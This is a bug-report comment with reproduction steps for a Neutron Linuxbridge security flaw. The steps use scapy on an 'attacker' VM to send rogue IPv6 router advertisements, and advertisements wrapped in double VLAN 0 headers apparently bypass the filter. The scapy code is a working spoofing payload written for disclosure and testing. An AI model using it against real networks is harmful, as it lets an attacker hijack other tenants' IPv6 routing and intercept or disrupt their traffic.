Comment 6 for bug 1884341

Some high level repro steps:
launch 2 ubuntu 20.04 vms on the same host (host using Neutron ML2 with Linuxbridge driver)
on the first VM (victim), run
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ip monitor
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on the second VM (attacker), run
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apt update && apt install -y scapy
scapy
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Send a normal router advertisement, it should be blocked:
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ra = Ether()
ra /= IPv6(dst='ff02::1')
ra /= ICMPv6ND_RA(chlim=64, prf='High', routerlifetime=1800)
ra /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr('eth0'))
ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64, validlifetime=1810, preferredlifetime=1800)
sendp(ra)
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Send a router advertisement with VLAN 0 headers, if it goes through this confirm the issue
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ra = Ether()/Dot1Q(vlan=0)/Dot1Q(vlan=0)
ra /= IPv6(dst='ff02::1')
ra /= ICMPv6ND_RA(chlim=64, prf='High', routerlifetime=1800)
ra /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr('eth0'))
ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64, validlifetime=1810, preferredlifetime=1800)
sendp(ra)
~~~~~~~~~~

Please also check OVS, I haven't looked at it